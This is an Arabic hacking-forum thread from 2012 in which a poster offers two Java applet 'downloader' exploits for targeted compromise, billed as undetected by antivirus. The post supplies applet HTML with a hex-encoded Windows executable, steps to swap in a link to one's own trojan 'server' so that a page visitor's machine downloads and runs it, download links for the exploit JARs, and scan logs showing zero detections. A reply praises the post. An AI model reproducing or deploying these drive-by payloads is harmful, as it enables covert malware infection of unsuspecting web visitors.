الملاحظات

الرئيسيةدخولبحـثس .و .جالتسجيلمكتبة الصور
المواضيع الأخيرةgoweto_bilobedجامعة المدينة العالمية وانتشارها عالمياالخميس يونيو 25, 2015 9:23 am من طرفصلاح الدين المحمديgoweto_bilobedالمكتبة الرقمية في جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:22 am من طرفصلاح الدين المحمديgoweto_bilobedكلية العلوم الاسلامية في جامعة المدينة العالمية - ماليزياالخميس يونيو 25, 2015 9:22 am من طرفصلاح الدين المحمديgoweto_bilobedمعهد تعليم اللغة العربية لغير الناطقين بها - جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:21 am من طرفصلاح الدين المحمديgoweto_bilobedمجلة جامعة المدينة العالمية MEDIUالخميس يونيو 25, 2015 9:20 am من طرفصلاح الدين المحمديgoweto_bilobedتعريف بجامعة المدينة العالمية في ماليزيا MEDIUالخميس يونيو 25, 2015 9:19 am من طرفصلاح الدين المحمديgoweto_bilobedمركز اللغات في جامعة المدينة العالمية في ماليزيا MEDIUالخميس يونيو 25, 2015 9:18 am من طرفصلاح الدين المحمديgoweto_bilobedوكالة البحوث والتطوير في جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:17 am من طرفصلاح الدين المحمديgoweto_bilobedعمادة الدراسات العليا في جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:15 am من طرفصلاح الدين المحمديgoweto_bilobedكلية العلوم المالية والإدارية في جامعة المدينة العالمية MEDIU في ماليزياالخميس يونيو 25, 2015 9:14 am من طرفصلاح الدين المحمدي

مَرحباً بكُم في شبكة أمان الجزائر | المنتدى الأول للحماية المعلوماتية في الجزائر ، نحن هنا لنفيدكم ونحميكم ،،، لنعطيكم ونعلمكم ولا نريد مقابل ذلك إلا "إحترامكم وتقديركم"
أهلا وسهلا بك زائرنا الكريم، إذا كانت هذه زيارتك الأولى للمنتدى، فيرجى التكرم بزيارة صفحة التعليمـــات، بالضغط هنا.كما يشرفنا أن تقوم بالتسجيل بالضغط هنا إذا رغبت بالمشاركة في المنتدى، أما إذا رغبت بقراءة المواضيع والإطلاع فتفضل بزيارة القسم الذي ترغب أدناه.




أمان الجزائر | Dz Security :: أمن المعلومات :: قسم اختبار اختراق الأجهزة و الحماية

شاطر
الثلاثاء أغسطس 14, 2012 11:38 pm
المشاركة رقم:
المعلومات
الكاتب:
اللقب:
  المشرف العام
الرتبه:
   المشرف  العام
الصورة الرمزية

avatar

البيانات
الجنس : ذكر
البلد : 1
العَمَــــــــــلْ : 5
هوايتي : 11
مزاجي : 23
الإنتساب الإنتساب : 03/06/2010
مشآرڪآتے مشآرڪآتے : 320
السٌّمعَة السٌّمعَة : 15
الْنِّقَاط الْنِّقَاط : 665
التوقيت

الإتصالات
الحالة:
وسائل الإتصال:


مُساهمةموضوع: حصرياً : ثغرتين جافا للأختراق المستهدف N3w 2 Exploit JAVA DownLoader FuD 0|37



حصرياً : ثغرتين جافا للأختراق المستهدف N3w 2 Exploit JAVA DownLoader FuD 0|37



واش راكم يا قراصنة الجزائر ان شاءالله بخير ~

اقدم لكم ثغرتين فاخرات من نوعهما وانتاجهما الذهبي . .

هي عباره عن ثغرتين جافا دانلودر !

نتوكل على الله ~


- اول ثغره [ طريقه استغلالها + اسخدامها ]

الثغره :
الكود:

<applet archive="exp.jar" code="msf.x.Abb.class" width="1" height="1">
<param name="data" value="4d5a90000300000004000000ffff0000
b8000000000000004000000000000000
00000000000000000000000000000000
000000000000000000000000b8000000
0e1fba0e00b409cd21b8014ccd215468
69732070726f6772616d2063616e6e6f
742062652072756e20696e20444f5320
6d6f64652e0d0d0a2400000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000
00000000000000000000000000000000"/>
</applet>

^ نزيل الملون باللون الاحمر وهو عباره عن

سيرفر لبرنامج اختراق لكن بالشل كود ~

نحذف المحدد بالاحمر ونحولها لرابط سيرفر تصير الثغره جذي :
الثغره بعد التعديل :


الكود:

<applet archive="exp.jar" code="msf.x.Abb.class" width="1" height="1">
<param name="data" value="Dev-PoinT.com\TesT.ExE"/>
</applet>
1 - نغير [ Dev-PoinT.com\TesT.ExE ] ~ لرابط السيرفر المباشر . .

2 - نغير [ exp.jar ] ~ ونرفعه برابط مباشر

^ فحص ملف الجار :

الكود:


Date and Time: 14/8/2012 16:20 AM
File Name: exp.jar
File Size: 2978 Bytes
MD5: 8124cf3f35eb9e266e2354b2b6fa9800
SHA1: 2d9b1cff4ac0a6217bb18001f4759e907152cd6e
Detection: 0 of 35 (0%)
Status: CLEAN

AVG Free - Clean!
ArcaVir - Clean!
Avast 5 - Clean!
AntiVir (Avira) - Clean!
BitDefender - Clean!
VirusBuster Internet Security - Clean!
Clam Antivirus - Clean!
COMODO Internet Security - Clean!
Dr.Web - Clean!
eTrust-Vet - Clean!
F-PROT Antivirus - Clean!
F-Secure Internet Security - Clean!
G Data - Clean!
IKARUS Security - Clean!
Kaspersky Antivirus - Clean!
McAfee - Clean!
MS Security Essentials - Clean!
ESET NOD32 - Clean!
Norman - Clean!
Norton Antivirus - Clean!
Panda Security - Clean!
A-Squared - Clean!
Quick Heal Antivirus - Clean!
Rising Antivirus - Clean!
Solo Antivirus - Clean!
Sophos - Clean!
Trend Micro Internet Security - Clean!
VBA32 Antivirus - Clean!
Vexira Antivirus - Clean!
Zoner AntiVirus - Clean!
Ad-Aware - Clean!
BullGuard - Clean!
Immunet Antivirus - Clean!
K7 Ultimate - Clean!
VIPRE - Clean!
^ Date and Time: 14/8/2012 16:20 AM
* ملاحظه مهمه : اذا ما اشتغلت الثغره
قم بتحويل سيرفرك لـ شل كود وحطه بدال الرابط والعكس


لتحميل الثغره + الملف :

إضغط هنا

2 - الثغره الثانيه :


الكود:
<applet name="MYNET - LـTFEN RUN' A TIKLAYINIZ.." code="yln.yln.class" archive="Signedyln.jar" height="10" width="1">
<param name="yln" value="http://Dev-PoinT.CoM/TesT.exe">

</applet>
1 - قم برفع [ Signedyln.jar ] ~ على رابط مباشر . .

2 - قم برفع [ http://yacine.hooxs.CoM/TesT.exe ] ~ لرابط سيرفرك المباشر !

3 - فحص ملف الجار والثغره :

الكود:

Date and Time: 14/8/2012 17:06 AM
File Name: Signedyln.jar
File Size: 2978 Bytes
MD5: 8124cf3f35eb9e266e2354b2b6fa9800
SHA1: 2d9b1cff4ac0a6217bb18001f4759e907152cd6e
Detection: 0 of 35 (0%)
Status: CLEAN

AVG Free - Clean!
ArcaVir - Clean!
Avast 5 - Clean!
AntiVir (Avira) - Clean!
BitDefender - Clean!
VirusBuster Internet Security - Clean!
Clam Antivirus - Clean!
COMODO Internet Security - Clean!
Dr.Web - Clean!
eTrust-Vet - Clean!
F-PROT Antivirus - Clean!
F-Secure Internet Security - Clean!
G Data - Clean!
IKARUS Security - Clean!
Kaspersky Antivirus - Clean!
McAfee - Clean!
MS Security Essentials - Clean!
ESET NOD32 - Clean!
Norman - Clean!
Norton Antivirus - Clean!
Panda Security - Clean!
A-Squared - Clean!
Quick Heal Antivirus - Clean!
Rising Antivirus - Clean!
Solo Antivirus - Clean!
Sophos - Clean!
Trend Micro Internet Security - Clean!
VBA32 Antivirus - Clean!
Vexira Antivirus - Clean!
Zoner AntiVirus - Clean!
Ad-Aware - Clean!
BullGuard - Clean!
Immunet Antivirus - Clean!
K7 Ultimate - Clean!
VIPRE - Clean!
^ Date and Time: 14/8/2012 17:06 AM
لتحميل الملف + الثغره =
إضغط هنا

في النهايه

اتمنى اني ماقصرت بالطرح البسيط . .

وان شاءالله القادم افضل ~

القناص

[ # ]





توقيع : SyStEm32





لا إله إلا أنت سبحانك كنت من الضالمين












الثلاثاء أغسطس 14, 2012 11:43 pm
المشاركة رقم:
المعلومات
الكاتب:
اللقب:
  عضو نشيط
الرتبه:
   عضو  نشيط
الصورة الرمزية

avatar

البيانات
الجنس : ذكر
البلد : 14
العَمَــــــــــلْ : 6
هوايتي : 12
الإنتساب الإنتساب : 03/06/2010
مشآرڪآتے مشآرڪآتے : 100
السٌّمعَة السٌّمعَة : 4
الْنِّقَاط الْنِّقَاط : 165
التوقيت

الإتصالات
الحالة:
وسائل الإتصال:


مُساهمةموضوع: رد: حصرياً : ثغرتين جافا للأختراق المستهدف N3w 2 Exploit JAVA DownLoader FuD 0|37



حصرياً : ثغرتين جافا للأختراق المستهدف N3w 2 Exploit JAVA DownLoader FuD 0|37


بارك الله فيك شروحاتك ومواضيعك من ذهب

اهنيـك صراحه على جهودك وتعبك

تستحق التقييم ، + كل عام وانت بخير





توقيع : عاشق القدس







الإشارات المرجعية
التعليق على الموضوع بواسطة الفيس بوك
الــرد الســـريـع
..


الذين يشاهدون محتوى الموضوع الآن : 20 ( الأعضاء 3 والزوار 17)



تعليمات المشاركة
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة





الساعة الآن.




12345678910111213141516171819202122232425262728
29303132333435363738394041424344454647484950515253545556
57585960616263646566676869707172737475767778798081828384
858687888990919293949596979899100101102103104105106107108109110111112

Rss

feed

atom

xml



إعلانات أمان الجزائر النصية
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
إعلانات أمان الجزائر
إعــــــــــلانإعــــــــــلانإعــــــــــلانإعــــــــــلان
Copyright © 2009-2013 Dz Security , Inc. All rights reserved